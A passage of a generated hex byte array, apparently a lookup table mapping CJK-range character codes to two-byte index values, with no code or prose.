0x18, 0x22, +0x00, 0x60, 0x68, 0x19, 0x22, +0x00, 0x60, 0x69, 0x80, 0x00, +0x00, 0x60, 0x6A, 0xb2, 0x00, +0x00, 0x60, 0x6B, 0x1a, 0x22, +0x00, 0x60, 0x6C, 0x58, 0x05, +0x00, 0x60, 0x6D, 0xdf, 0x01, +0x00, 0x60, 0x6E, 0x1b, 0x22, +0x00, 0x60, 0x6F, 0x1c, 0x22, +0x00, 0x60, 0x70, 0x1d, 0x22, +0x00, 0x60, 0x71, 0x1e, 0x22, +0x00, 0x60, 0x72, 0x1f, 0x22, +0x00, 0x60, 0x73, 0x20, 0x22, +0x00, 0x60, 0x74, 0x21, 0x22, +0x00, 0x60, 0x75, 0x22, 0x22, +0x00, 0x60, 0x76, 0x23, 0x04, +0x00, 0x60, 0x77, 0x23, 0x22, +0x00, 0x60, 0x78, 0x24, 0x22, +0x00, 0x60, 0x79, 0x25, 0x22, +0x00, 0x60, 0x7A, 0x26, 0x22, +0x00, 0x60, 0x7B, 0x96, 0x1a, +0x00, 0x60, 0x7C, 0x27, 0x22, +0x00, 0x60, 0x7D, 0x28, 0x22, +0x00, 0x60, 0x7E, 0x29, 0x22, +0x00, 0x60, 0x7F, 0x2a, 0x22, +0x00, 0x60, 0x80, 0xcb, 0x0c, +0x00, 0x60, 0x81, 0x2b, 0x22, +0x00, 0x60, 0x82, 0x2c, 0x22, +0x00, 0x60, 0x83, 0x2d, 0x22, +0x00, 0x60, 0x84, 0x44, 0x01, +0x00, 0x60, 0x85, 0xd5, 0x0e, +0x00, 0x60, 0x86, 0x2e, 0x22, +0x00, 0x60, 0x87, 0x2f, 0x22, +0x00, 0x60, 0x88, 0x74, 0x05, +0x00, 0x60, 0x89, 0x30, 0x22, +0x00, 0x60, 0x8A, 0x31, 0x22, +0x00, 0x60, 0x8B, 0x32, 0x22, +0x00, 0x60, 0x8C, 0x33, 0x22, +0x00, 0x60, 0x8D, 0x34, 0x22, +0x00, 0x60, 0x8E, 0x35, 0x22, +0x00, 0x60, 0x8F, 0x36, 0x22, +0x00, 0x60, 0x90, 0x37, 0x22, +0x00, 0x60, 0x91, 0x38, 0x22, +0x00, 0x60, 0x92, 0x39, 0x22, +0x00, 0x60, 0x93, 0x3a, 0x22, +0x00, 0x60, 0x94, 0x3b, 0x22, +0x00, 0x60, 0x95, 0x3c, 0x22, +0x00, 0x60, 0x96, 0x3d, 0x22, +0x00, 0x60, 0x97, 0xf2, 0x00, +0x00, 0x60, 0x98, 0x3e, 0x22, +0x00, 0x60, 0x99, 0xc5, 0x00, +0x00, 0x60, 0x9A, 0x3f, 0x22, +0x00, 0x60, 0x9B, 0x40, 0x22, +0x00, 0x60, 0x9C, 0x41, 0x22, +0x00, 0x60, 0x9D, 0x42, 0x22, +0x00, 0x60, 0x9E, 0x43, 0x22, +0x00, 0x60, 0x9F, 0x44, 0x22, +0x00, 0x60, 0xA0, 0x45, 0x22, +0x00, 0x60, 0xA1, 0x46, 0x22, +0x00, 0x60, 0xA2, 0x47, 0x22, +0x00, 0x60, 0xA3, 0x96, 0x0d, +0x00, 0x60, 0xA4, 0x48, 0x22, +0x00, 0x60, 0xA5, 0xa1, 0x0e, +0x00, 0x60, 0xA6, 0x49, 0x22, +0x00, 0x60, 0xA7, 0x4a, 0x22, +0x00, 0x60, 0xA8, 0x4b, 0x22, +0x00, 0x60, 0xA9, 0x4c, 0x22, +0x00, 0x60, 0xAA, 0xe9, 0x03, +0x00, 0x60, 0xAB, 0xfe, 0x1a, +0x00, 0x60, 0xAC, 0x4d, 0x22, +0x00, 0x60, 0xAD, 0x4e, 0x22, +0x00, 0x60, 0xAE, 0x4f, 0x22, +0x00, 0x60, 0xAF, 0x50, 0x22, +0x00, 0x60, 0xB0, 0x51, 0x22, +0x00, 0x60, 0xB1, 0x52, 0x22, +0x00, 0x60, 0xB2, 0x53, 0x22, +0x00, 0x60, 0xB3, 0x8f, 0x15, +0x00, 0x60, 0xB4, 0x54, 0x22, +0x00, 0x60, 0xB5, 0x55, 0x22, +0x00, 0x60, 0xB6, 0x56, 0x22, +0x00, 0x60, 0xB7, 0x57, 0x22, +0x00, 0x60, 0xB8, 0x58, 0x22, +0x00, 0x60, 0xB9, 0xa2, 0x0b, +0x00, 0x60, 0xBA, 0x59, 0x22, +0x00, 0x60, 0xBB, 0x16, 0x00, +0x00, 0x60, 0xBC, 0x5a, 0x22, +0x00, 0x60, 0xBD, 0x5b, 0x22, +0x00, 0x60, 0xBE, 0x5c, 0x22, +0x00, 0x60, 0xBF, 0x5d, 0x22, +0x00, 0x60, 0xC0, 0x5e, 0x22, +0x00, 0x60, 0xC1, 0x5f, 0x22, +0x00, 0x60, 0xC2, 0x60, 0x22, +0x00, 0x60, 0xC3, 0x61, 0x22, +0x00, 0x60, 0xC4, 0x62, 0x22, +0x00, 0x60, 0xC5, 0x63, 0x22, +0x00, 0x60, 0xC6, 0x64, 0x22, +0x00, 0x60, 0xC7, 0x65, 0x22, +0x00, 0x60, 0xC8, 0x66, 0x22, +0x00, 0x60, 0xC9, 0x6d, 0x0b, +0x00, 0x60, 0xCA, 0x60, 0x09, +0x00, 0x60, 0xCB, 0x67, 0x22, +0x00, 0x60, 0xCC, 0x68, 0x22, +0x00, 0x60, 0xCD, 0x69, 0x22, +0x00, 0x60, 0xCE, 0x6a, 0x22, +0x00, 0x60, 0xCF, 0x6b, 0x22, +0x00, 0x60, 0xD0, 0x6c, 0x22, +0x00, 0x60, 0xD1, 0xfc, 0x20, +0x00, 0x60, 0xD2, 0x09, 0x05, +0x00, 0x60, 0xD3, 0x7f, 0x06, +0x00, 0x60, 0xD4, 0x6d, 0x22, +0x00, 0x60, 0xD5, 0x6e, 0x22, +0x00, 0x60, 0xD6, 0x69, 0x1b, +0x00, 0x60, 0xD7, 0x6f, 0x22, +0x00, 0x60, 0xD8, 0x70, 0x22, +0x00, 0x60, 0xD9, 0x71, 0x22, +0x00, 0x60, 0xDA, 0x61, 0x05, +0x00, 0x60, 0xDB, 0x72, 0x22, +0x00, 0x60, 0xDC, 0xc2, 0x11, +0x00, 0x60, 0xDD, 0x73, 0x22, +0x00, 0x60, 0xDE, 0x74, 0x22, +0x00, 0x60, 0xDF, 0x80, 0x00, +0x00, 0x60, 0xE0, 0x75, 0x22, +0x00, 0x60, 0xE1, 0x76, 0x22, +0x00, 0x60, 0xE2, 0x77, 0x22, +0x00, 0x60, 0xE3, 0x78, 0x22, +0x00, 0x60, 0xE4, 0x79, 0x22, +0x00, 0x60, 0xE5, 0x7a, 0x22, +0x00, 0x60, 0xE6, 0x7b, 0x22, +0x00, 0x60, 0xE7, 0x7c, 0x22, +0x00, 0x60, 0xE8, 0x7d, 0x22, +0x00, 0x60, 0xE9, 0x7e, 0x22, +0x00, 0x60, 0xEA, 0x7f, 0x22, +0x00, 0x60, 0xEB, 0x80, 0x22, +0x00, 0x60, 0xEC, 0x81, 0x22, +0x00, 0x60, 0xED, 0x82, 0x22, +0x00, 0x60, 0xEE, 0x83, 0x22, +0x00, 0x60, 0xEF, 0x84, 0x22, +0x00, 0x60, 0xF0, 0x85, 0x22, +0x00, 0x60, 0xF1, 0x86, 0x22, +0x00, 0x60, 0xF2, 0x87, 0x22, +0x00, 0x60, 0xF3, 0xa1, 0x0e, +0x00, 0x60, 0xF4, 0xf7, 0x01, +0x00, 0x60, 0xF5, 0x88, 0x22, +0x00, 0x60, 0xF6, 0x89, 0x22, +0x00, 0x60, 0xF7, 0x8a, 0x22, +0x00, 0x60, 0xF8, 0x8b, 0x22, +0x00, 0x60, 0xF9, 0x8c, 0x22, +0x00, 0x60, 0xFA, 0x8d, 0x22, +0x00, 0x60, 0xFB, 0x8e, 0x22, +0x00, 0x60, 0xFC, 0x8f, 0x22, +0x00, 0x60, 0xFD, 0x90, 0x22, +0x00, 0x60, 0xFE, 0x91, 0x22, +0x00, 0x60, 0xFF, 0x92, 0x22, +0x00, 0x61, 0x71, 0x51, 0x03, +0x00, 0x62, 0xEC, 0x05, 0x00, +0x00, 0x64, 0x40, 0x05, 0x00, +0x00, 0x64, 0xA6, 0xde, 0x1d, +0x00, 0x66, 0x4B, 0xda, 0x14, +0x00, 0x6B, 0x8E, 0x0e, 0x03, +0x00, 0x6B, 0x9E, 0xb4, 0x15, +0x00, 0x6B, 0xA0, 0xe9, 0x01, +0x00, 0x6B, 0xF1, 0x05, 0x00, +0x00, 0x6C, 0xBC, 0x05, 0x00, +0x00, 0x6C, 0xFD, 0x9d, 0x11, +0x00, 0x6D, 0x52, 0x51, 0x03, +0x00, 0x6D, 0xFB, 0x93, 0x22, +0x00, 0x6F, 0x64, 0x4f, 0x02, +0x00, 0x70, 0xB0, 0x94, 0x22, +0x00, 0x70, 0xB3, 0x95, 0x22, +0x00, 0x71, 0x47, 0x96, 0x22, +0x00, 0x71, 0xC2, 0x97, 0x22, +0x00, 0x71, 0xCC, 0xe3, 0x11, +0x00, 0x72, 0x63, 0x98, 0x22, +0x00, 0x72, 0x78, 0x05, 0x00, +0x00, 0x73, 0x8D, 0xe9, 0x01, +0x00, 0x73, 0xE0, 0x4f, 0x02, +0x00, 0x74, 0x9C, 0x99, 0x22, +0x00, 0x75, 0x32, 0x9a, 0x22, +0x00, 0x75, 0xE1, 0x9b, 0x22, +0x00, 0x76, 0x86, 0x05, 0x00, +0x00, 0x76, 0xB1, 0x9c, 0x22, +0x00, 0x78, 0x88, 0x05, 0x00, +0x00, 0x78, 0x9E, 0xc4, 0x0c, +0x00, 0x78, 0xCD, 0x9d, 0x22, +0x00, 0x7B, 0x18, 0x9e, 0x22, +0x00, 0x7D, 0xFA, 0x9f, 0x22, +0x00, 0x7E, 0x56, 0xa0, 0x22, +0x00, 0x7E, 0x95, 0x05, 0x00, +0x00, 0x7F, 0x28, 0xe7, 0x0d, +0x00, 0x80, 0x00, 0x4f, 0x07, +0x00, 0x80, 0x01, 0xa1, 0x22, +0x00, 0x80, 0x02, 0xa2, 0x22, +0x00, 0x80, 0x03, 0xa3, 0x22, +0x00, 0x80, 0x04, 0xa4, 0x22, +0x00, 0x80, 0x05, 0xa5, 0x22, +0x00, 0x80, 0x06, 0xa6, 0x22, +0x00, 0x80, 0x07, 0xa7, 0x22, +0x00, 0x80, 0x08, 0xab, 0x1a, +0x00, 0x80, 0x09, 0xa8, 0x22, +0x00, 0x80, 0x0A, 0xa9, 0x22, +0x00, 0x80, 0x0B, 0xaa, 0x22, +0x00, 0x80, 0x0C, 0xab, 0x22, +0x00, 0x80, 0x0D, 0xac, 0x22, +0x00, 0x80, 0x0E, 0xad, 0x22, +0x00, 0x80, 0x0F, 0xae, 0x22, +0x00, 0x80, 0x10, 0xaf, 0x22, +0x00, 0x80, 0x11, 0xea, 0x1e, +0x00, 0x80, 0x12, 0xb0, 0x22, +0x00, 0x80, 0x13, 0xad, 0x01, +0x00, 0x80, 0x14, 0xb1, 0x22, +0x00, 0x80, 0x15, 0xb2, 0x22, +0x00, 0x80, 0x16, 0xb3, 0x22, +0x00, 0x80, 0x17, 0xb4, 0x22, +0x00, 0x80, 0x18, 0xb5, 0x22, +0x00, 0x80, 0x19, 0xb6, 0x22, +0x00, 0x80, 0x1A, 0xb7, 0x22, +0x00, 0x80, 0x1B, 0xb8, 0x22, +0x00, 0x80, 0x1C, 0x05, 0x00, +0x00, 0x80, 0x1D, 0xd5, 0x00, +0x00, 0x80, 0x1E, 0xb9, 0x22, +0x00, 0x80, 0x1F, 0xba, 0x22, +0x00, 0x80, 0x20, 0xa4, 0x04, +0x00, 0x80, 0x21, 0xbb, 0x22, +0x00, 0x80, 0x22, 0xbc, 0x22, +0x00, 0x80, 0x23, 0xd5, 0x00, +0x00, 0x80, 0x24, 0xbd, 0x22, +0x00, 0x80, 0x25, 0xbe, 0x22, +0x00, 0x80, 0x26, 0xa4, 0x04, +0x00, 0x80, 0x27, 0x86, 0x0c, +0x00, 0x80, 0x28, 0xbf, 0x22, +0x00, 0x80, 0x29, 0xc0, 0x22, +0x00, 0x80, 0x2A, 0xc1, 0x22, +0x00, 0x80, 0x2B, 0xd5, 0x00, +0x00, 0x80, 0x2C, 0xc2, 0x22, +0x00, 0x80, 0x2D, 0xc3, 0x22, +0x00, 0x80, 0x2E, 0xa8, 0x1a, +0x00, 0x80, 0x2F, 0xf5, 0x04, +0x00, 0x80, 0x30, 0xc4, 0x22, +0x00, 0x80, 0x31, 0xc5, 0x22, +0x00, 0x80, 0x32, 0xc6, 0x22, +0x00, 0x80, 0x33, 0xc7, 0x22, +0x00, 0x80, 0x34, 0xc8, 0x22, +0x00, 0x80, 0x35, 0x71, 0x0c, +0x00, 0x80, 0x36, 0xc9, 0x22, +0x00, 0x80, 0x37, 0xce, 0x01, +0x00, 0x80, 0x38, 0xca, 0x22, +0x00, 0x80, 0x39, 0xcb, 0x22, +0x00, 0x80, 0x3A, 0xcc, 0x22, +0x00, 0x80, 0x3B, 0xcd, 0x22, +0x00, 0x80, 0x3C, 0xce, 0x22, +0x00, 0x80, 0x3D, 0xcf, 0x22, +0x00, 0x80, 0x3E, 0xd0, 0x22, +0x00, 0x80, 0x3F, 0xd1, 0x22, +0x00, 0x80, 0x40, 0xd2, 0x22, +0x00, 0x80, 0x41, 0xd3, 0x22, +0x00, 0x80, 0x42, 0xf2, 0x17, +0x00, 0x80, 0x43, 0xd4, 0x22, +0x00, 0x80, 0x44, 0xd5, 0x22, +0x00, 0x80, 0x45, 0xdd, 0x00, +0x00, 0x80, 0x46, 0x9b, 0x00, +0x00, 0x80, 0x47, 0xd6, 0x22, +0x00, 0x80, 0x48, 0xd7, 0x22, +0x00, 0x80, 0x49, 0xd8, 0x22, +0x00, 0x80, 0x4A, 0xd9, 0x22, +0x00, 0x80, 0x4B, 0xc0, 0x22, +0x00, 0x80, 0x4C, 0xda, 0x22, +0x00, 0x80, 0x4D, 0xdb, 0x22, +0x00, 0x80, 0x4E, 0xdc, 0x22, +0x00, 0x80, 0x4F, 0xdd, 0x22, +0x00, 0x80, 0x50, 0xde, 0x22, +0x00, 0x80, 0x51, 0xdf, 0x22, +0x00, 0x80, 0x52, 0x35, 0x06, +0x00, 0x80, 0x53, 0xe0, 0x22, +0x00, 0x80, 0x54, 0x23, 0x1c, +0x00, 0x80, 0x55, 0xe1, 0x22, +0x00, 0x80, 0x56, 0xe2, 0x22, +0x00, 0x80, 0x57, 0xe3, 0x22, +0x00, 0x80, 0x58, 0x44, 0x20, +0x00, 0x80, 0x59, 0xe4, 0x22, +0x00, 0x80, 0x5A, 0xe5, 0x22, +0x00, 0x80, 0x5B, 0xe6, 0x22, +0x00, 0x80, 0x5C, 0xe7, 0x22, +0x00, 0x80, 0x5D, 0xe8, 0x22, +0x00, 0x80, 0x5E, 0xe9, 0x22, +0x00, 0x80, 0x5F, 0xc9, 0x01, +0x00, 0x80, 0x60, 0xea, 0x22, +0x00, 0x80, 0x61, 0xeb, 0x22, +0x00, 0x80, 0x62, 0xaa, 0x08, +0x00, 0x80, 0x63, 0xec, 0x22, +0x00, 0x80, 0x64, 0xed, 0x22, +0x00, 0x80, 0x65, 0xee, 0x22, +0x00, 0x80, 0x66, 0xef, 0x22, +0x00, 0x80, 0x67, 0xf0, 0x22, +0x00, 0x80, 0x68, 0xf1, 0x22, +0x00, 0x80, 0x69, 0xf2, 0x22, +0x00, 0x80, 0x6A, 0xf3, 0x22, +0x00, 0x80, 0x6B, 0xf4, 0x22, +0x00, 0x80, 0x6C, 0xf5, 0x22, +0x00, 0x80, 0x6D, 0xf6, 0x22, +0x00, 0x80, 0x6E, 0xf7, 0x22, +0x00, 0x80, 0x6F, 0xf8, 0x22, +0x00, 0x80, 0x70, 0xc8, 0x21, +0x00, 0x80, 0x71, 0xf9, 0x22, +0x00, 0x80, 0x72, 0xc5, 0x0b, +0x00, 0x80, 0x73, 0xfa, 0x22, +0x00, 0x80, 0x74, 0xfb, 0x22, +0x00, 0x80, 0x75, 0xfc, 0x22, +0x00, 0x80, 0x76, 0xfd, 0x22, +0x00, 0x80, 0x77, 0x43, 0x17, +0x00, 0x80, 0x78, 0xfe, 0x22, +0x00, 0x80, 0x79, 0xff, 0x22, +0x00, 0x80, 0x7A, 0x00, 0x23, +0x00, 0x80, 0x7B, 0x01, 0x23, +0x00, 0x80, 0x7C, 0x02, 0x23, +0x00, 0x80, 0x7D, 0x03, 0x23, +0x00, 0x80, 0x7E, 0x45, 0x15, +0x00, 0x80, 0x7F, 0x04, 0x23, +0x00, 0x80, 0x80, 0x05, 0x23, +0x00, 0x80, 0x81, 0x06, 0x23, +0x00, 0x80, 0x82, 0x07, 0x23, +0x00, 0x80, 0x83, 0x08, 0x23, +0x00, 0x80, 0x84, 0x09, 0x23, +0x00, 0x80, 0x85, 0x0a, 0x23, +0x00, 0x80, 0x86, 0x63, 0x00, +0x00, 0x80, 0x87, 0x0b, 0x23, +0x00, 0x80, 0x88, 0x0c, 0x23, +0x00, 0x80, 0x89, 0x0d, 0x23, +0x00, 0x80, 0x8A, 0x0e, 0x23, +0x00, 0x80, 0x8B, 0x0f, 0x23, +0x00, 0x80, 0x8C, 0x10, 0x23, +0x00, 0x80, 0x8D, 0x11, 0x23, +0x00, 0x80, 0x8E, 0x12, 0x23, +0x00, 0x80, 0x8F, 0x13, 0x23, +0x00, 0x80, 0x90, 0x14, 0x23, +0x00, 0x80, 0x91, 0x42, 0x21, +0x00, 0x80, 0x92, 0x40, 0x20, +0x00, 0x80, 0x93, 0x15, 0x23, +0x00, 0x80, 0x94, 0x16, 0x23, +0x00, 0x80, 0x95, 0x17, 0x23, +0x00, 0x80, 0x96, 0x18, 0x23, +0x00, 0x80, 0x97, 0x19, 0x23, +0x00, 0x80, 0x98, 0x1a, 0x23, +0x00, 0x80, 0x99, 0x1b, 0x23, +0x00, 0x80, 0x9A, 0x1c, 0x23, +0x00, 0x80, 0x9B, 0x1d, 0x23, +0x00, 0x80, 0x9C, 0x1e, 0x23, +0x00, 0x80, 0x9D, 0x1f, 0x23, +0x00, 0x80, 0x9E, 0x20, 0x23, +0x00, 0x80, 0x9F, 0xa1, 0x0d, +0x00, 0x80, 0xA0, 0xc9, 0x01, +0x00, 0x80, 0xA1, 0x21, 0x23, +0x00, 0x80, 0xA2, 0x1a, 0x02, +0x00, 0x80, 0xA3, 0x22, 0x23, +0x00, 0x80, 0xA4, 0x23, 0x23, +0x00, 0x80, 0xA5, 0x24, 0x23, +0x00, 0x80, 0xA6, 0x25, 0x23, +0x00, 0x80, 0xA7, 0xc2, 0x05, +0x00, 0x80, 0xA8, 0x26, 0x23, +0x00, 0x80, 0xA9, 0x27, 0x23, +0x00, 0x80, 0xAA, 0x28, 0x23, +0x00, 0x80, 0xAB, 0x29, 0x23, +0x00, 0x80, 0xAC, 0x2a, 0x23, +0x00, 0x80, 0xAD, 0xc2, 0x07, +0x00, 0x80, 0xAE, 0x2b, 0x23, +0x00, 0x80, 0xAF, 0x2c, 0x23, +0x00, 0x80, 0xB0, 0xf7, 0x01, +0x00, 0x80, 0xB1, 0x2d, 0x23, +0x00, 0x80, 0xB2, 0x2e, 0x23, +0x00, 0x80, 0xB3, 0x2f, 0x23, +0x00, 0x80, 0xB4, 0x30, 0x23, +0x00, 0x80, 0xB5, 0x31, 0x23, +0x00, 0x80, 0xB6, 0x32, 0x23, +0x00, 0x80, 0xB7, 0x33, 0x23, +0x00, 0x80, 0xB8, 0x34, 0x23, +0x00, 0x80, 0xB9, 0x35, 0x23, +0x00, 0x80, 0xBA, 0x36, 0x23, +0x00, 0x80, 0xBB, 0x37, 0x23, +0x00, 0x80, 0xBC, 0x38, 0x23, +0x00, 0x80, 0xBD, 0x39, 0x23, +0x00, 0x80, 0xBE, 0x3a, 0x23, +0x00, 0x80, 0xBF, 0x3b, 0x23, +0x00, 0x80, 0xC0, 0x3c, 0x23, +0x00, 0x80, 0xC1, 0x3d, 0x23, +0x00, 0x80, 0xC2, 0xe1, 0x0d, +0x00, 0x80, 0xC3, 0x3e, 0x23, +0x00, 0x80, 0xC4, 0x3f, 0x23, +0x00, 0x80, 0xC5, 0x40, 0x23, +0x00, 0x80, 0xC6, 0xf5, 0x04, +0x00, 0x80, 0xC7, 0xcc, 0x04, +0x00, 0x80, 0xC8, 0x41, 0x23, +0x00, 0x80, 0xC9, 0x42, 0x23, +0x00, 0x80, 0xCA, 0x43, 0x23, +0x00, 0x80, 0xCB, 0x44, 0x23, +0x00, 0x80, 0xCC, 0xb6, 0x05, +0x00, 0x80, 0xCD, 0x45, 0x23, +0x00, 0x80, 0xCE, 0x46, 0x23, +0x00, 0x80, 0xCF, 0xd0, 0x06, +0x00, 0x80, 0xD0, 0x63, 0x00, +0x00, 0x80, 0xD1, 0x47, 0x23, +0x00, 0x80, 0xD2, 0x48, 0x23, +0x00, 0x80, 0xD3, 0x49, 0x23, +0x00, 0x80, 0xD4, 0x4a, 0x23, +0x00, 0x80, 0xD5, 0x4b, 0x23, +0x00, 0x80, 0xD6, 0x4c, 0x23, +0x00, 0x80, 0xD7, 0x4d, 0x23, +0x00, 0x80, 0xD8, 0xa4, 0x04, +0x00, 0x80, 0xD9, 0x4e, 0x23, +0x00, 0x80, 0xDA, 0x4f, 0x23, +0x00, 0x80, 0xDB, 0x50, 0x23, +0x00, 0x80, 0xDC, 0x51, 0x23, +0x00, 0x80, 0xDD, 0x52, 0x23, +0x00, 0x80, 0xDE, 0x53, 0x23, +0x00, 0x80, 0xDF, 0x43, 0x00, +0x00, 0x80, 0xE0, 0x54, 0x23, +0x00, 0x80, 0xE1, 0x55, 0x23, +0x00, 0x80, 0xE2, 0x56, 0x23, +0x00, 0x80, 0xE3, 0x57, 0x23, +0x00, 0x80, 0xE4, 0x47, 0x1e, +0x00, 0x80, 0xE5, 0x58, 0x23, +0x00, 0x80, 0xE6, 0x59, 0x23, +0x00, 0x80, 0xE7, 0x5a, 0x23, +0x00, 0x80, 0xE8, 0x5b, 0x23, +0x00, 0x80, 0xE9, 0xb6, 0x00, +0x00, 0x80, 0xEA, 0x60, 0x0a, +0x00, 0x80, 0xEB, 0x5c, 0x23, +0x00, 0x80, 0xEC, 0x56, 0x19, +0x00, 0x80, 0xED, 0x5d, 0x23, +0x00, 0x80, 0xEE, 0x5e, 0x23, +0x00, 0x80, 0xEF, 0x5f, 0x23, +0x00, 0x80, 0xF0, 0x5e, 0x0d, +0x00, 0x80, 0xF1, 0x60, 0x23, +0x00, 0x80, 0xF2, 0xbe, 0x15, +0x00, 0x80, 0xF3, 0x61, 0x23, +0x00, 0x80, 0xF4, 0x62, 0x23, +0x00, 0x80, 0xF5, 0x63, 0x23, +0x00, 0x80, 0xF6, 0x64, 0x23, +0x00, 0x80, 0xF7, 0x65, 0x23, +0x00, 0x80, 0xF8, 0x66, 0x23, +0x00, 0x80, 0xF9, 0x67, 0x23, +0x00, 0x80, 0xFA, 0x68, 0x23, +0x00, 0x80, 0xFB, 0x69, 0x23, +0x00, 0x80, 0xFC, 0x6a, 0x23, +0x00, 0x80, 0xFD, 0x6b, 0x23, +0x00, 0x80, 0xFE, 0x6c, 0x23, +0x00, 0x80, 0xFF, 0x6d, 0x23, +0x00, 0x81, 0xC4, 0x05, 0x00, +0x00, 0x81, 0xF9, 0xeb, 0x0f, +0x00, 0x84, 0xED, 0x65, 0x00, +0x00, 0x86, 0x9C, 0xd2, 0x16, +0x00, 0x86, 0xA0, 0x65, 0x00, +0x00, 0x87, 0x01, 0x4f, 0x02, +0x00, 0x87, 0x31, 0x05, 0x00, +0x00, 0x88, 0x65, 0x51, 0x03, +0x00, 0x8A, 0x96, 0x05, 0x00, +0x00, 0x8B, 0x43, 0x50, 0x17, +0x00, 0x8B, 0xFC, 0x6e, 0x23, +0x00, 0x8C, 0x10, 0x6f, 0x23, +0x00, 0x8C, 0x54, 0x71, 0x07, +0x00, 0x8C, 0xFA, 0x49, 0x08, +0x00, 0x8D, 0x4E, 0x70, 0x23, +0x00, 0x8D, 0xDA, 0x71, 0x23, +0x00, 0x8E, 0x73, 0x05, 0x00, +0x00, 0x8E, 0xF2, 0x68, 0x08, +0x00, 0x90, 0x00, 0x72, 0x23, +0x00, 0x90, 0x01, 0x73, 0x23, +0x00, 0x90, 0x02, 0x74, 0x23, +0x00, 0x90, 0x03, 0x75, 0x23, +0x00, 0x90, 0x04, 0xf2, 0x00, +0x00, 0x90, 0x05, 0x76, 0x23, +0x00, 0x90, 0x06, 0xb9, 0x1e, +0x00, 0x90, 0x07, 0x77, 0x23, +0x00, 0x90, 0x08, 0x78, 0x23, +0x00, 0x90, 0x09, 0x34, 0x00, +0x00, 0x90, 0x0A, 0x79, 0x23, +0x00, 0x90, 0x0B, 0x7a, 0x23, +0x00, 0x90, 0x0C, 0x05, 0x00, +0x00, 0x90, 0x0D, 0x7b, 0x23, +0x00, 0x90, 0x0E, 0x7c, 0x23, +0x00, 0x90, 0x0F, 0x8f, 0x05, +0x00, 0x90, 0x10, 0x7d, 0x23, +0x00, 0x90, 0x11, 0x7e, 0x23, +0x00, 0x90, 0x12, 0x7f, 0x23, +0x00, 0x90, 0x13, 0x80, 0x23, +0x00, 0x90, 0x14, 0x81, 0x23, +0x00, 0x90, 0x15, 0x82, 0x23, +0x00, 0x90, 0x16, 0x83, 0x23, +0x00, 0x90, 0x17, 0x84, 0x23, +0x00, 0x90, 0x18, 0x85, 0x23, +0x00, 0x90, 0x19, 0x86, 0x23, +0x00, 0x90, 0x1A, 0x87, 0x23, +0x00, 0x90, 0x1B, 0xd8, 0x02, +0x00, 0x90, 0x1C, 0x88, 0x23, +0x00, 0x90, 0x1D, 0x89, 0x23, +0x00, 0x90, 0x1E, 0x8a, 0x23, +0x00, 0x90, 0x1F, 0x8b, 0x23, +0x00, 0x90, 0x20, 0x8c, 0x23, +0x00, 0x90, 0x21, 0x05, 0x00, +0x00, 0x90, 0x22, 0x8d, 0x23, +0x00, 0x90, 0x23, 0x8e, 0x23, +0x00, 0x90, 0x24, 0x8f, 0x23, +0x00, 0x90, 0x25, 0x90, 0x23, +0x00, 0x90, 0x26, 0xf7, 0x01, +0x00, 0x90, 0x27, 0x82, 0x02, +0x00, 0x90, 0x28, 0x91, 0x23, +0x00, 0x90, 0x29, 0x92, 0x23, +0x00, 0x90, 0x2A, 0x5a, 0x08, +0x00, 0x90, 0x2B, 0x93, 0x23, +0x00, 0x90, 0x2C, 0x94, 0x23, +0x00, 0x90, 0x2D, 0x95, 0x23, +0x00, 0x90, 0x2E, 0x96, 0x23, +0x00, 0x90, 0x2F, 0x9f, 0x0e, +0x00, 0x90, 0x30, 0xc2, 0x05, +0x00, 0x90, 0x31, 0x97, 0x23, +0x00, 0x90, 0x32, 0x98, 0x23, +0x00, 0x90, 0x33, 0x99, 0x23, +0x00, 0x90, 0x34, 0x9a, 0x23, +0x00, 0x90, 0x35, 0x3f, 0x06, +0x00, 0x90, 0x36, 0x9b, 0x23, +0x00, 0x90, 0x37, 0x9c, 0x23, +0x00, 0x90, 0x38, 0x9d, 0x23, +0x00, 0x90, 0x39, 0x9e, 0x23, +0x00, 0x90, 0x3A, 0x9f, 0x23, +0x00, 0x90, 0x3B, 0xa0, 0x23, +0x00, 0x90, 0x3C, 0x7d, 0x1c, +0x00, 0x90, 0x3D, 0xa1, 0x23, +0x00, 0x90, 0x3E, 0xa2, 0x23, +0x00, 0x90, 0x3F, 0xa3, 0x23, +0x00, 0x90, 0x40, 0xf8, 0x0e, +0x00, 0x90, 0x41, 0x12, 0x00, +0x00, 0x90, 0x42, 0xa4, 0x23, +0x00, 0x90, 0x43, 0x9b, 0x00, +0x00, 0x90, 0x44, 0xa5, 0x23, +0x00, 0x90, 0x45, 0xa6, 0x23, +0x00, 0x90, 0x46, 0xa7, 0x23, +0x00, 0x90, 0x47, 0xa8, 0x23, +0x00, 0x90, 0x48, 0xa9, 0x23, +0x00, 0x90, 0x49, 0xaa, 0x23, +0x00, 0x90, 0x4A, 0xab, 0x23, +0x00, 0x90, 0x4B, 0xe4, 0x08, +0x00, 0x90, 0x4C, 0xac, 0x23, +0x00, 0x90, 0x4D, 0xad, 0x23, +0x00, 0x90, 0x4E, 0xae, 0x23, +0x00, 0x90, 0x4F, 0xaf, 0x23, +0x00, 0x90, 0x50, 0xb0, 0x23, +0x00, 0x90, 0x51, 0xb1, 0x23, +0x00, 0x90, 0x52, 0xb2, 0x23, +0x00, 0x90, 0x53, 0xb3, 0x23, +0x00, 0x90, 0x54, 0xd3, 0x01, +0x00, 0x90, 0x55, 0x32, 0x0c, +0x00, 0x90, 0x56, 0xb4, 0x23, +0x00, 0x90, 0x57, 0xb5, 0x23, +0x00, 0x90, 0x58, 0x79, 0x15, +0x00, 0x90, 0x59, 0x9e, 0x06, +0x00, 0x90, 0x5A, 0xb6, 0x23, +0x00, 0x90, 0x5B, 0xb7, 0x23, +0x00, 0x90, 0x5C, 0xb8, 0x23, +0x00, 0x90, 0x5D, 0xb9, 0x23, +0x00, 0x90, 0x5E, 0xba, 0x23, +0x00, 0x90, 0x5F, 0x05, 0x00, +0x00, 0x90, 0x60, 0xbb, 0x23, +0x00, 0x90, 0x61, 0xbc, 0x23, +0x00, 0x90, 0x62, 0xbd, 0x23, +0x00, 0x90, 0x63, 0x53, 0x14, +0x00, 0x90, 0x64, 0x17, 0x07, +0x00, 0x90, 0x65, 0xbe, 0x23, +0x00, 0x90, 0x66, 0xbf, 0x23, +0x00, 0x90, 0x67, 0xc0, 0x23, +0x00, 0x90, 0x68, 0xc1, 0x23, +0x00, 0x90, 0x69, 0x08, 0x05, +0x00, 0x90, 0x6A, 0xc2, 0x23, +0x00, 0x90, 0x6B, 0xc1, 0x16, +0x00, 0x90, 0x6C, 0xdc, 0x20, +0x00, 0x90, 